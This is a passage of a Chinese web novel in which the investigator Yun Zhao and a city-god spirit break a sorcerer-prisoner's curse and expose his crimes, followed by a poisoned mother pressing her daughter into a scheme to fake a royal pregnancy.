“聒噪。”
徐莽的谩骂戛然而止。
只见云昭手指如电,已扯断那黑色绳绦,将整串珠子握在掌心。
她并不看徐莽那骤然惊恐的脸,只随意拈起其中一颗乌黑珠子,置于拇指与食指之间。
下一刻,她双指轻轻一捻。
只听一声极其轻微的声响,那颗珠子竟在她指间轻易破裂,一股黑红色雾气倏地逸散出来。
而珠子破裂后,内里并非什么珠核,竟是些许灰白色、如同风干骨髓般的粉末,簌簌落下。
“这……这不可能!”徐莽目眦欲裂,死死盯着云昭指尖残留的污渍和粉末。
“他教你佩戴此物时,定然还传了你一段口诀,或让你每日以心血念力稍稍灌注吧?”
云昭松开手指,任由残渣落地,声音冰冷如泉,“告你此乃蕴养灵珠,可助你官运亨通,扫清障厄?
殊不知,你每灌注一分念力心血,你的精气神便被这‘珠子’吸走一分,经由这阴秽媒介,供养你背后那日益‘成长’的怨面瘤。
它吸得越饱,你便越发觉得精神亢奋、野心勃勃,实则已是釜底抽薪,油尽灯枯之兆。
待你气运被榨干,阳寿耗尽,血肉魂魄皆成那怨瘤资粮。
莫说飞黄腾达,便是想魂归地府,重入轮回,也是痴心妄想。
你这般贪婪权位,畏惧贫贱,最终结局,却是永世不得超生。”
徐莽浑身剧颤嘴唇哆嗦着,喃喃重复:“不……不是的……**不会骗我……不会……”
云昭不再看他,左手夹住一道杏黄色符箓,指尖轻轻一搓,“噌”地一声轻响,符箓无火自燃,绽开一簇带着淡淡檀香气的火焰。
她将燃烧的符箓往地上一掷。
符火触及那些滚落在地的乌黑珠子,犹如热油泼雪,发出“滋滋”的瘆人声响。
霎时间,十几颗珠子同时剧烈颤抖起来,表面冒出浓郁得化不开的黑烟,黑烟中竟隐约有扭曲痛苦的人面虚影一闪而逝。
一股难以形容的恶臭弥漫开来!
“啊——!!!”
几乎在珠子被点燃的同时,徐莽发出一声非人的惨嚎,背后的怨面瘤剧烈蠕动、挣扎,仿佛要冲破皮肉一般!
余文远和余氏早已看得目瞪口呆。
一直捂着口鼻的赵悉则小声嘀咕:“有没有哪种符箓,是专门让人闻不到臭味的……”
他这差事,三天两头的不是钻大牢就是验死尸,他觉得他很需要!
第245章 一纸诉状,告到城隍!
饶是见惯了酷刑的大理寺狱卒,见到眼前徐莽这般情形,也不禁感到头皮发麻。
白羡安倒是因之前妹妹白慕宁被邪术纠缠一事,多少见识过这等超乎常理的骇人场面,尚能维持镇定。
他不由扫向身旁始终神色平静的云昭。
云昭看着被怨面瘤折磨得涕泪四流的徐莽,低声道:“徐莽,我给你最后一个机会——”
她话音未落,眼眸深处骤然掠过一抹极淡的金芒,常人无法窥见的“玄瞳视界”已然开启!
但这一次,并非云昭主动为之,而是她本能地感觉到一股玄异的气息扑面而来。
只见徐莽身后那片污浊的阴影忽然如水波般荡漾开来——
一道挺拔威严、周身萦绕着淡淡金色光晕的人影,毫无征兆地显现出来!
来人并未穿着云昭记忆中那身染血的将军铠甲,而是换了一身朱红色镶黑边的官袍,头戴乌纱展脚幞头,腰间悬着一方散发着莹莹清光的城隍印。
他面容英武刚毅,眉宇间却多了几分神祇特有的肃穆与威仪,正是昔日战死沙场、忠魂不泯的柳擎天将军!
只是此刻,他神光内敛,气度沉凝,赫然已是执掌一方阴阳秩序、护佑城池的本地城隍!
云昭心中微震,瞬间明悟。
原来柳将军死后,忠魂感天动地,并未前往轮回转生,而是被敕封为此地城隍,继续以另一种形式守护一方安宁!
难怪临走前,柳将军曾赠给她一枚青铜箭镞,并说他们还会再见!
城隍乃阴司正神,非寻常鬼魂可比,他能现身于此,必有要事。
柳擎天的目光与云昭对上,威严的脸上掠过一抹淡淡笑意。
他嘴唇未动,一道沉稳浑厚、直透神魂的声音已在云昭识海中响起:“云司主,别来无恙。”
他不待云昭回应,目光便转向被捆在木桩上的徐莽,声音转为公事公办的肃然:
“本官此次现身,乃因有人将他一纸诉状,告到了城隍庙前。
冤情确凿,怨气冲霄,惊动神司,故特来查验。”
“告状者何人?”云昭以意念相询。
柳擎天抬手虚指,一道模糊的女子身影在他身旁缓缓凝聚。
依稀可辨清秀面容,只是周身缭绕着浓得化不开的哀怨与悲愤。
“此女名唤樱柔,本乃城西杏林坊一郎中独女,天性纯善,自幼随父**医认药,常免费为贫苦邻里诊治,颇得善名。”
柳擎天的声音带着一丝叹息,“三年前,徐莽偶染风寒,至其父医馆就诊,见樱柔貌美心善,便起了邪念。
他隐瞒已婚事实,巧言令色,伪装成丧妻的边军校尉,对樱柔百般殷勤。
樱柔涉世未深,兼之徐莽刻意营造的‘英雄气概’,竟被他哄骗,失身于他,不久便有了身孕。”
云昭看向那女子虚影,见她虽怨气深重,魂体却比寻常怨魂凝实清正几分,心知这与其生前累积的善行功德有关。
这也解释了为何她能“直达天听”,将状告到城隍庙——
寻常冤魂怨气虽重,但若无特殊机缘或足够“清气”,往往浑噩飘荡,难以明晰自身冤屈并找到正确途径申诉。
樱柔生前常行善举,魂魄自带一丝功德清气,死后灵台比常人清明,加之冤屈极深,方能感应到城隍庙的存在并前往告状。
柳擎天继续道:“徐莽得知樱柔有孕,初时假意欢喜,承诺尽快迎娶,实则暗中算计。
因他当时正需大笔银钱打点上司、谋求升迁,又觊觎一同僚家中一幅前朝名画。
那同僚性好渔色,徐莽竟心生毒计,在一次酒宴后将樱柔迷昏,以白银五千两的价钱,将其‘转卖’了那同僚,换了那幅古画!
樱柔醒来,发现自己身陷魔窟,受尽**,悲愤交加,当夜便寻了短见,一尸两命。
其父得知真相,悲恸过度,不久也郁郁而终,好好一个杏林之家,就此断绝。”
云昭听得眸光冰寒。
难怪樱柔怨气如此深重!
被骗身心,被卖如货,母子俱亡,家破人亡!
这徐莽,当真禽兽不如!和孟峥一路货色!
“徐莽身负血债,又以邪术害亲,罪孽滔天。”柳擎天声音转冷,带着神祇审判般的威严,
“依阴司法度,待其阳寿尽时,魂魄将被直接拘往城隍庙前‘孽镜台’,照显其一生罪孽。
因其以邪术强夺至亲福寿,且魂魄已被邪术吞噬不全,往后每一世,皆将沦为痴儿,
体弱多病、亲缘淡薄、贫苦交加,直至偿清所有亏欠。
之后,再历十世畜生道,方有可能重得人身。”
这番阴司刑罚的描述,虽只是意念传递,却仿佛带着森森寒意。
在场众人虽看不到城隍,却都感到一阵莫名的战栗。
云昭闻言,微微颔首,表示知晓。
她重新看向木桩上的徐莽——
在玄瞳视界中,徐莽显然也“听”到了柳擎天的话。
加之云昭此前已揭穿玉衡**相赠“辟邪安魂珠”的真相,他脸上那疯狂亢奋的神色早已消失无踪,取而代之的是极致的惊恐与绝望。
“徐莽,”云昭的声音再次响起,“方才城隍爷的话,你可听清了?阴司法度森严,你所作所为,桩桩件件,皆有记录。
阳间刑罚或可忍受一时,阴司报应却是万劫难逃。”
徐莽猛地抬起头,赤红的眼睛里此刻充满了哀求,再不见半分嚣张。
他拼命摇头挣扎着,似乎想要求饶,却因邪术反噬,语不成句,只能涕泪横流地朝着云昭的方向,颠三倒四地表达着最卑微的乞怜。
“不想去?”云昭替他补全了未尽之言,语气淡漠,“早知今日,何必当初。”
她与身旁柳擎天的虚影对视一眼,柳擎天微微颔首,示意她可以继续。
云昭这才对徐莽道:“天道虽严,亦留一线。
你若此刻愿意配合,彻底解除与余氏、康哥儿之间的‘五亲断魂’邪术牵连,放那三条被你炼入怨面瘤的无辜亲人魂魄往生。
到了城隍庙前,或可酌情减轻些许惩罚。这是你唯一将功折罪的机会。”
徐莽闻言,拼命点头,眼神里充满了急切的应允。
“记住你的选择。”
云昭转身,双手结出一个繁复而古朴的手印。
她足下步伐看似随意地移动,却暗合九宫八卦方位,每一步落下,地面上似乎都有一圈微不可察的涟漪荡漾开来。
“天地自然,秽气分散;洞中玄虚,晃朗太元。
斩断孽缘,解脱牵连;魂归本位,福寿各安!”
云昭清叱一声,手印猛然一变,一只手并指如剑,隔空点向余氏和康哥儿。
两道细若发丝的银线自她指尖射出,精准地没入余氏母子体内。
“啊——!”
随着徐莽爆发出惨嚎,只见他背上三颗怨面瘤,骤然迸裂开无数细密的裂纹!
一股股浓郁的黑气混合着暗红色的血光,如同被强行抽离般,从瘤体中汹涌而出!
这些黑红之气,正是被邪术强拘炼化的至亲生机和福泽!
云昭操控着手中银线,将这些疯狂涌出的黑红之气引导、分化。
其中最为污秽邪恶的怨魂残念,被她以符**行**、净化;
而那原本属于余氏和康哥儿的生机与福泽,则被银线小心翼翼地剥离出来,化为点点暖金色的光粒,沿着银线缓缓回流,重新融入余氏母子的身体。
这个过程看似缓慢,实则发生在电光火石之间。
牢房中光影交错,银芒与黑
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红之气纠缠冲撞,符文的清吟与徐莽的惨嚎交织,构成一幅诡异而惊心动魄的画面。
赵悉和白羡安等人看得目瞪口呆,大气不敢出。
“敕——!”云昭最后一声清喝,手印猛地向下一压!
三声沉闷的爆裂声几乎同时响起!
徐莽身上那三颗怨面瘤彻底炸开,化作三团粘稠腥臭的黑血烂肉,溅得满地都是。
而三缕极为黯淡的淡白色虚影,从爆裂处飘飘悠悠升起——
正是那三位被徐莽害死的魂魄本源。
柳擎天在一旁适时抬手一招,一道柔和的接引神光落下,将那三缕魂魄小心护住,对云昭微微颔首:
“魂魄虽残,总算解脱,本官会送他们前往该去之地。”
随着怨面瘤爆裂、魂魄解脱,徐莽身上的邪术被彻底斩断!
他如同被抽掉了脊梁骨,整个人瞬间萎靡下去。
他的皮肤以肉眼可见的速度变得干瘪,刚才还亢奋赤红的眼睛变得浑浊,浑身充满了死气。
更可怕的是,失去了邪术支撑,之前被强行压制的所有痛苦,如同潮水般反噬回来!
他浑身开始无法控制地剧烈抽搐,发出嗬嗬的倒气声,每一次呼吸都带着血沫,显然已到了生命尽头。
反观余氏和康哥儿,虽然脸色依旧苍白,气息虚弱,但眉宇间那股萦绕不散的灰败死气已然消散,呼吸也平稳了许多。
尤其是康哥儿,懵懂的眼睛里少了几分惊惧,多了些孩童应有的清澈。
余氏感觉到身子一暖,一种劫后余生的虚脱感与后怕涌上心头。
她想要说话,却发现背后的符咒仍在生效,只能“扑通”一声朝着云昭跪下,泪流满面地连连叩首。
余文远也终于松了一口气,老眼含泪,朝着云昭连连作揖,脸上满是后怕与庆幸。
云昭却并未因他们的感激而动容。
她看着跪伏在地的余氏和作揖不止的余文远,语气平静得近乎冷酷:“够了。”
两人动作一僵。
“你们是什么样的人,你我心知肚明,不必在我面前伪装感激涕零。”
云昭目光清冷,仿佛能洞穿人心,“若非此次大祸临头,危及自身性命血脉,你们岂会幡然悔悟!”
人性如此,唯有经历切肤之痛、濒死之危,才可能有所触动。
想让刻薄者变敦厚,自私者变无私,吝啬者变慷慨……若无重大变故,简直是不可能做到的事!
“今日你们跪在这里,是因为怕死,是因为终于明白,徐莽的邪术真的会要了你们的命,而不是因为你们突然变成了明理知恩的善人。”
云昭这番话,说得余文远和余氏脸上火辣辣的,却无从辩驳。
云昭继续道:“虽然徐莽身上的‘五亲断魂术’已解,与你们再无瓜葛。
但你们终究曾被邪术侵蚀,生机福泽被强行掠夺多时,根基已损。
从今往后,你们母子的身体,自然会比常人虚弱几分,易染疾病,寿数也有所折损。”
此言一出,余文远和余氏才真的愣住了。
他们本以为邪术解除便万事大吉,没想到还有这等长远隐患!
余氏紧紧抱着怀中的康哥儿,想到儿子将来可能要体弱多病,顿时心如刀绞。
她忽然发现自己能发出声音了,急急开口泣道:
“云司主!求您救救康哥儿!他还这么小!我们愿意出银子!多少银子都行!只要能让他像正常孩子一样!”
云昭讽刺一笑:“若世间万事,都能用银子解决,还要官府法度做什么?”
余文远也被女儿的话弄得有些尴尬,但护犊心切,还是忍不住道:
“云司主,千错万错,是我们大人的错。可稚子无辜啊!康哥儿什么都不知道,他……”
第246章 改命
一旁的白羡安闻言,冷哼一声,忍不住开口:“余大人此话差矣!
徐莽所犯乃谋逆大罪,一旦三司会审定案,按律,妻儿虽未必连坐,但也难逃流放或没入官籍之罚!
陛下念及你们或许不知情,或可从轻发落。但‘无辜’二字,还望慎言!
若非你们当初结这门亲、助他升迁,岂有今日之祸?
如今不株连尔等,已是法外开恩,怎还有脸说家人全然无辜的话?”
赵悉也抱着胳膊,凉凉地插了一句:“就是。
若是此番徐莽不出事,余大人想必还在得意自己眼光独到,选了个乘龙快婿,在官场同僚面前,倍儿有面子;
余夫人恐怕也在享受着将军夫人的风光,忙着交际应酬,对夫君的‘能耐’只会感到欢喜;
至于康哥儿,自然也是锦衣玉食,将来靠着父亲的权势荫庇,前程似锦。
如今出了事,才想起来喊‘无辜’,是不是有点晚了?”
这话句句戳心,余氏父女二人被说得哑口无言!
回想起往日自己对父亲选择的深信不疑、对徐莽的依赖、对他偶尔流露的狠厉不以为意,反觉他颇有男子气概!
甚至在得知他与旁的女子勾勾搭搭,也只是当时喝骂,事后根本不以为意。
彼时的她有一种说不出的自得,旁的女人再怎么勾搭又如何!这将军夫人的位子永远都是她的!
种种过往,如今看来竟是如此愚蠢可笑!
她再也忍不住,抱着康哥儿,失声痛哭起来。
云昭却缓缓道:“你想为康哥儿改命,就先从改你自己开始。”
余氏抬起泪眼,茫然地看着她。
“你若真知错了,从此便多行善举。
不是做做样子,而是真心实意地去帮助那些需要帮助的人,去弥补过往的亏欠;
去教导康哥儿明辨是非、心存仁厚。
或许,日积月累的善行功德,能为康哥儿积累一些福报。”
云昭觉得自己已经说得够多,至于能做到哪一步,全看余氏自己的悟性与决心了。
余氏怔怔地听着,眼中的茫然渐渐被一种决绝的光芒取代。
她用力抹去眼泪,朝着云昭重重磕了三个头,一字一句道:“民妇……记住了!
从今日起,必当日行一善,教诲康哥儿向善,绝不敢忘司主今日之言!若有违逆,天打雷劈!”
谁也未曾料到,这个曾经虚荣糊涂的妇人,竟真的将云昭这番话刻进了骨子里。
自那日后,余氏仿佛变了个人。
她变卖了许多华服首饰,在城郊设立粥棚,四季施粥;
又请了可靠的嬷嬷,专门教导康哥儿读书明理;
更时常带着他探望孤寡,捐赠药资;
对当初樱柔家的旧事,她也多方打听,找到樱柔的远亲,暗中资助照料。
余文远起初觉得女儿魔怔了。
但见她坚持,且康哥儿气色确实在慢慢好转,学业也渐有进益,便也由她去了,甚至偶尔也被拉着参与一些善事。
时光荏苒,十五年后,康哥儿竟真的身体康健,且天资聪颖。
在科举中一路过关斩将,最终考取了进士及第,后成为大晋朝堂上一名以清廉刚正、体恤民情著称的官员。
此乃后话,暂且按下不表。
处理完余氏这边,云昭重新将目光投向木桩上气息奄奄的徐莽。
“徐莽,听好。待会儿,你会被押上囚车,游街示众。在到达最终目的地之前,你只需做两件事——”
徐莽艰难地转动眼珠,看向云昭。
“第一,将这些年来,你在孟峥麾下所做恶事,以及你自身所犯下的所有罪孽,一桩桩、一件件,大声说出来!
声音要响,要让沿街的百姓都听得清清楚楚!”
“第二,”云昭微微俯身,目光如利剑般刺入徐莽浑浊的眼底,
“你要告诉所有人,你之所以变成今天这副人不人、鬼不鬼的模样,落得如此凄惨下场,究竟是因为谁!
是谁给了你邪术的诱惑?是谁告诉你牺牲至亲便可换取权势富贵?
是谁,将你一步步推入今日这万劫不复的深渊!”
徐莽听着,干裂的嘴唇控制不住地颤抖。
此刻,他心中翻江倒海,五味杂陈。
曾几何时,他初得“五亲断魂术”的残卷,被其中描述的“以亲缘换鸿运”的宏大愿景所吸引,心中满是飞黄腾达、封侯拜将的贪婪美梦。
后来孟峥倒台,他身陷囹圄,最初的恐惧过后,竟又生出扭曲的侥幸——
靠着身上已然大成的怨面瘤和那串保命珠子,或许能扛过刑罚,保住性命,甚至……若有机会,未必不能东山再起!
对生的渴望,对痛苦的逃避,让他紧紧抓住邪术,将之作为最后的救命稻草。
为此,甚至不惜疯狂榨取妻儿的生机。
然而,方才城隍爷那番话,如同九天惊雷,彻底劈碎了他所有侥幸的幻想!
直到这时,他才幡然醒悟——
什么富贵荣华,什么权势名声,比起死后要经历的所有酷刑,
人间浮华,不过都是镜花水月,过眼云烟!
有多少人都是这样,拥有健康、亲缘、寻常人生时,总是贪婪地盯着更高处的权势富贵;
待到失去一切,濒临毁灭,才终于明白,自己曾经拥有的那些看似平凡的东西,已是多少人求而不得的幸福!
悔恨、恐惧、绝望……种种情绪如同毒虫啃噬着徐莽的内心。
一股同样强烈的、如同毒焰般的恨意,骤然升腾而起!
是了!他会走到今天这一步,会鬼迷心窍走上这条邪路,都是因为那个人!
什么得道高人!什么慈悲为怀!全都是伪装!玉衡**,才是将他推向地狱的元凶!
而自己,不过是对方手中,一个用以饲养“辟邪安魂珠”的容器!一枚用完即弃的棋子!
滔天的恨意与悔恨,瞬间淹没了徐莽。
他甚至不需要云昭命令,此刻若有机会,他恨不得生啖玉衡之肉!
“我……我说!”徐莽用尽最后力气,嘶哑着挤出声音,
“我都说!是玉衡……是玄都观的玉衡**!是他害我……
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我要揭穿这个**子!”
云昭看着他眼中那毫不作伪的恨意,知道火候已到。
她转向一旁神色复杂的白羡安:“白大人,麻烦准备一辆特制的囚车,要坚固,且能让百姓清楚看到囚犯的惨状。
将他押上,在京城主要街巷,缓缓**一圈。”
白羡安闻言,先是一愣,随即眼中闪过一抹精光,立刻明白了云昭的用意。
他连忙拱手:“多谢云司主襄助!”
云昭又补充道:“另外,请派两名心思缜密、笔头快的书吏,带上纸笔,骑马跟在囚车左右。
沿途仔细聆听,将徐莽所招供的一切,事无巨细,全部记录下来。这份实录,将来或许会有大用。”
白羡安听得连连点头,心中对云昭的缜密佩服不已。
他原本还在暗暗发愁,徐莽这案子涉及邪术、牵扯玄都观,又赶上孟峥谋逆大案的风口,结案陈词该如何写才能既符合事实、不触怒圣意,又能给各方一个交代?
方才目睹的一切,虽惊心动魄,证明了徐莽咎由自取,但终究是“玄异”之事,难以全部形诸公文。
如今云昭这安排,简直是雪中送炭!
公开招供,书吏记录,这便是最确凿的口供!
白羡安不再耽搁,立刻转身,雷厉风行地指挥手下:“快!去准备囚车!多派一队衙役护卫!
李主簿,王书办,你们两个,带上笔墨和速记本事,坐马车跟着!一个字都不许漏!
其他人,清理通道,准备出发!”
狱卒们轰然应诺,立刻忙碌起来。
很快,一辆特制的囚车被推到了诏狱门口。
奄奄一息的徐莽被像破麻袋一样拖出来,扔进囚车。
两名身着公服、面色肃然的书吏也坐进马车,手握毛笔和特制的硬皮簿册,目光锐利地盯着囚车。
白羡安亲自检查了一遍,对云昭道:“云司主,一切准备就绪。”
云昭微微颔首:“有劳白大人。按计划行事吧。”
白羡安一声令下,囚车在众多衙役的押送下,缓缓驶向阳光下喧嚣的京城街道。
可以预见,这辆囚车穿行于京城街巷时,将会引发何等巨大的轰动!
目送囚车远去,云昭这才将视线转向一直老老实实站在一旁的余文远。
余文远此刻心中满是后怕、悔恨与对未来的茫然。
但他倒还谨记着与云昭立下的心誓以及之前的约定,即便心中纷乱,也未曾擅自离开。
云昭朝他招了招手,语气平淡:“余大人。”
余文远一个激灵,连忙上前两步,躬身道:“下官在。”
“余大人对京城各家书肆、刊印坊的底细,想必颇为熟悉吧?”
余文远怔了一下,但还是点头应道:“这是下官分内之职。
京城大小书肆百余家,知名刊印坊二十余处,其东家背景、经营状况、刊印内容大致流向,下官衙门皆有备案,不敢说了如指掌,倒也还算熟悉。”
云昭没有直接回答,而是迈步朝诏狱外走去:“那就请余大人陪我走一趟吧。”
第247章 借、种!
姜府。
姜绾心做主,命人将梅氏挪回了她从前的房间。
只是物是人非,昔日精致的闺房,如今弥漫着一股令人作呕的腐臭气息。
床榻上,梅氏静静躺着,若非胸口还有微不可察的起伏,几乎与**无异。
她面色蜡黄中透着死灰,眼窝深陷,昔日精心保养的乌发如今枯槁如草,凌乱地铺在枕上。
因被强行灌下云昭特制的**,她已无法言语,只能发出“嗬嗬”的气音;
更致命的是,不论吃喝多少,哪怕只是饮下几口水,秽物也会不时漏出,浸湿身下的厚厚棉垫。
即便有丫鬟频繁更换,那股恶臭仍萦绕不散。
如今的梅柔卿,就像一具正在缓慢腐烂、却又被强行吊住一口气的活尸。
姜绾心强忍着胃里的翻腾,跪在床前铺着的厚毡上,尽量靠近梅氏。
她屏住呼吸,压低声音,急切地问:“娘,到底是怎么回事?
您为何会突然跟柔妃小产一事扯上关系?
为何会被陛下勒令送回家中,还有内侍在外看守?
这一切,到底是谁在害您?”
她顿了顿,声音压得更低,几近耳语,“还有……贵妃肚子里的胎,到底如何了?”
就在一个时辰前,邹太医刚给梅氏灌下吊命的汤药,又施了一套稳住心脉的针法。
此刻,大概是梅氏一日中难得意识还算清醒的时刻。
听到女儿的问题,梅氏浑浊的眼珠极其缓慢地转动了一下,定格在姜绾心脸上。
那眼神里,死寂中骤然闪过一丝微弱却锐利的光芒。
她艰难地抬起手,指向床边的矮几——
那里放着纸笔,是姜绾心特意备下,指望母亲能写下些只言片语。
姜绾心立刻会意,连忙取来,小心垫好,将笔塞进梅氏指间。
梅氏的手指颤抖得厉害,几乎握不住笔。
她咬紧牙关,用尽全身力气,手腕以一种极其别扭的姿势发力,在纸上歪歪扭扭地写下几个字,笔迹断续模糊,如同鬼画符。
姜绾心凑近,仔细辨认,心头越看越是惊骇!
只见纸上赫然写着:“毒云昭柔妃假孕串通”
“果然是云昭给娘下的毒!”
姜绾心失声低呼,随即又有些不明白,“可柔妃……娘,您是说柔妃和云昭串通?这怎么可能?”
梅氏急促地喘息着,眼中光芒更盛。
那日在漪澜殿,她被一连串突如其来的“证据”和指控打得晕头转向,又惊又惧,只觉百口莫辩。
可这两日她趁着头脑清明时,将前因后果细细捋过,心中突然涌起一个大胆到令人不寒而栗的猜测!
柔妃,很可能从一开始,就是和云昭串通好的!
而且若她猜得没错……柔妃从一开始,就是假孕争宠!
当日花神宴上,贵妃刚被太医诊出有孕,紧接着柔妃就跟着呕吐不适,也被诊出喜脉!
仿佛刻意要分走贵妃的风头与皇帝的关注!
她梅氏自己虽非玄术大家,但毕竟接触过一些旁门左道,深知这世上能让女子暂时呈现出滑脉假象的法子,并非没有!
而这也完美解释了之后在碧云寺发生的一切!
柔妃为何会与贵妃争食那盅燕窝,却又恰好流血不止,而那种金丝黄燕分明是太子专程送给贵妃保养所用!
柔妃分明是想借此机会,彻底离间贵妃与太子之间的关系!
甚至……梅柔卿猛地想起那日贵妃回宫时,脚下一软跌入太子怀中的情形——
现在想来,何尝不可能是柔妃命人暗中做了手脚,故意制造这暧昧一幕,加深皇帝对此事的猜疑?
梅氏只觉得,这一连串事情想下来,丝丝入扣,严丝合缝!
一切都说得通了!
尤其是柔妃竟会为了构陷他人而令自己小产!
寻常女子,就算再如何想帮助他人、想设计对手,有几个能对自己、对自己“腹中骨肉”狠心至此?
除非……她的肚子里,从来就没有过孩子!
好高明的一步棋啊!
用一个根本不存在的“假肚子”,成功将本就失了母家倚仗的贵妃,彻底推离了帝心!
甚至连当朝太子和皇帝,都被这小小女子**于股掌之间!
想通这一切,梅氏心中五味陈杂。
只可惜她看明白这一切、想明白这一切,都太晚了!
然而,另一个更可怕的念头,紧接着攫住了她!
她双眸骤然暴突,死死盯住床畔的姜绾心,用尽力气抬起那只手,朝女儿猛地伸出!
姜绾心却还沉浸在母亲方才写下的惊人消息中,喃喃道:
“柔妃竟是假孕?这……这怎么可能瞒过太医?可若是真的……”
她眼中闪过一丝懊悔:“可惜!可惜娘亲您发现得太晚了!
不然,我们就能想办法提前揭穿柔妃,说不定还能借此机会,将云昭与她合谋欺君罔上的罪行一并揭露!”
梅氏见她反应迟钝,急得喉咙里发出嗬嗬的怪响,手指拼命指向她手中那张纸。
姜绾心这才反应过来,连忙将纸递过去。
梅氏抓过笔,手臂颤抖得如同风中秋叶,却以惊人的毅力,在纸上飞快地写下一行字:“告知太子,速落孟氏胎!”
姜绾心看到这行字,不由倒吸一口凉气:“娘!您怎么还打这个主意?”
就为了贵妃这一胎,她们母女俩如今还不够惨吗?
而且孟氏如今娘家已倒,自身被打入冷宫,恩宠全无!
就算肚子里的孩子暂时没掉,也早已是秋后蚂蚱,蹦跶不了几天!
再不可能与她争宠了!
更何况,她如今也只是区区一个九品奉仪!
每日被困在太子府,就连回娘家,也要处处小心。
就算她想动孟氏,如今也鞭长莫及,如何还能去动冷宫里的孟氏?
想到此处,巨大的无力感和后悔涌上心头,她拽住梅氏污秽的衣袖,泪水夺眶而出:
“娘!我后悔了!早知今日,当初不如不动孟氏!
现在您成了这个样子,心儿心里怕极了!真的怕了!”
实则姜绾心此刻的后悔,更多源于对现实的认清——
母亲梅氏,已经被云昭彻底毁了!
而她姜绾心,失了母亲这个最不计代价的谋士与靠山,失了肚子里的孩儿,如今只剩一个虚无缥缈的太子奉仪身份。
如今,她还能拿什么去跟手段狠辣、步步为营的云昭斗?
想到那个没缘分的孩儿,她像是抓住最后一根浮木,急切地对梅氏道:
“娘!太子他私下对我说,只要我能顺利诞下男胎,他就奏请陛下,立我为太子妃!”
她哽咽道,“可女儿肚子里的胎已然落了,女儿该怎么办!”
梅氏原本正拼力想写更多,手腕被姜绾心这突然一拽,笔尖一滑,在纸上拖出一道混乱的墨迹。
她心中又急又怒,正要甩开女儿的手,却猛地听到了这句话。
奋笔疾书的手,骤然顿住了。
而姜绾心犹自哭泣着,沉浸在对未来的恐惧与茫然中。
梅氏猛地抬起头,那双死气沉沉的眼睛里,此刻却爆发出一种近乎疯狂的亮光!
她不再试图写字,而是用沾满墨汁的笔,直接抓住姜绾心的手!
在她白皙的手背上,用力写下两个淋漓的大字——
借、种!
姜绾心如同被烫到一般,猛地抽回手。
看着手背上那触目惊心的两个字,她瞠目结舌,失声惊叫:“娘?!
您……您是不是疯了?!”
她简直不敢相信自己的眼睛!
借种?母亲怎
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么会想出如此胆大包天、骇人听闻的主意!
此事若是泄露半分,不仅是她,整个姜家,都要死无葬身之地!
姜绾心连忙起身,寻到屋子墙角的水盆,快速洗去手上的墨迹。
梅氏看着女儿那副胆战心惊的模样,心中不由升起一股恨铁不成钢的恼怒与悲凉!
她从前就是把女儿保护得太好,教得太“正”了!
看看人家云昭!
一个未出阁的姑娘,就敢跟后宫妃子合谋,连皇帝都敢欺瞒!
再看看太子!
表面君子谦谦,仁孝至上,背地里连给自己父皇戴绿帽的事都敢做!
他们哪一个不是胆大包天,为达目的不择手段?
她现在,不过是为了女儿能在这**的宫廷里有个倚仗,抓紧时间让女儿也怀上一个“名正言顺”的胎,这又算得了什么大事?
况且,以太子的心性,未来绝不会专宠心儿一人。
而她如今这副样子,恐怕也时日无多。
姜世安懦弱无能,姜老夫人自私昏聩,通通都靠不住!
女儿唯一能抓住的,就是肚子!就是尽快有一个孩子!
只要心儿能在短时间内迅速有孕,那么,不管太子将来是否会兑现承诺立她为妃,至少她能以太子宫眷的身份,名正言顺地在东宫生存下来!
心儿生下的孩子,将来也能上皇家玉碟,成为真正的皇孙!
此刻,梅氏赌的,早已不是太子的良心或承诺!
她赌的是皇帝的脸面,是皇室对血脉的重视!
只要心儿能生下个孩子,后半生至少有了傍身的资本和名分!
这比什么虚无缥缈的恩宠、什么岌岌可危的奉仪之位,都要实在得多!
想到此,梅氏心中再无犹豫,她猛地扯过姜绾心湿漉漉的手,用口型无声地、一遍遍强调:
“要快!要快!”
姜绾心后知后觉地明白了母亲的疯狂背后的苦心。
是啊,她已经在皇帝面前坦诚有孕,太子也对这一胎寄予厚望,
那么……她就决不能让他们知道自己早已落了胎!
这个孩子,必须回来!
可是……找谁借?怎么借?一旦事发……
梅氏似乎看穿了她的犹豫,她再次扯过那张污浊的纸,用尽最后的力气,颤抖着写下三个字:
寻你哥
哥哥?姜珩?!
姜绾心只觉得一股寒气从脚底直冲天灵盖。
荒唐!太荒唐了!
母亲怎会生出如此悖逆人伦、惊世骇俗的想法!
姜珩就算不是父亲与苏氏的孩子,那也是她同父异母的兄长啊!
梅氏此刻简直恨不得撬开女儿的榆木脑袋,将自己一生积攒的所有心计统统灌进去!
她以前怎么没发现,这孩子竟是个傻的!
太子未来能不能顺利登基都还两说,就算登基了,后宫佳丽三千,心儿能得几时好?
身为女人,在这**的地方,自然要为自己、为未来的孩子,多寻几条路,多找几个靠山!
血缘至亲,有时候反而是最可靠、也最不易惹人怀疑的纽带!
再者说,她只是让心儿想办法用裙带拴住姜珩,又没说真让她怀上姜珩的孩子!
只要心儿能有孕,只要太子和姜珩各自都认为,心儿怀的是他们二人的种!
一切不就都好说了?!
想到此,梅氏不知哪来的力气,一把攥住姜绾心的手腕,指甲几乎掐进她的肉里,迫使她低头,看清自己写在纸上的字迹:
“勿靠太子!靠你自己……”
后面的字迹愈发模糊混乱,似乎梅氏气力已竭,但前面的意思已足够惊心。
不要依靠太子?
要靠自己的……肚子?
姜绾心脑中一片混乱,母亲的意思,是让她务必要怀上兄长的孩子?
第248章 求子得子,求财得财
就在这时,门外忽然传来一阵脚步声。
母女二人悚然一惊,齐齐朝门口看去。
只见去而复返的邹太医,不知何时已站在门边。
他微微皱着眉头,目光似乎不经意地扫过她们手上的纸笔。
他脸上没什么特别的表情,仿佛只是例行公事。
梅氏眼中闪过一丝惊惶,猛地将手中那张写满惊天之语的纸揉成一团,用尽最后的力气,死死塞进姜绾心的手心,并用眼神示意她藏好。
邹太医佯装没瞧见她们的小动作,只是缓步走进来,语气平淡地对姜绾心道:
“奉仪,稍后内侍会送今日的汤药过来。
切记,喂药时不可一次喂太多,需小口慢喂,间隔要长。
否则……药力过猛,夫人身体承受不住,反而……徒增痛苦,也给你们添麻烦。”
其实邹太医说得较为隐晦。
若是喂得太多、太快,梅氏很快便会便溺,不仅梅氏自身痛苦,家中仆从收拾起来也会很麻烦。
此言一出,姜绾心看着母亲这求生不得、求死不能的惨状,心头对云昭的恨意再次汹涌翻腾!
那个毒妇!心思实在歹毒!
用这种药,让母亲喝一点吃一点都会肠道泄露,浑身恶臭,即便清洗也会很快再次污秽不堪!
这简直是世间最残酷的折磨!
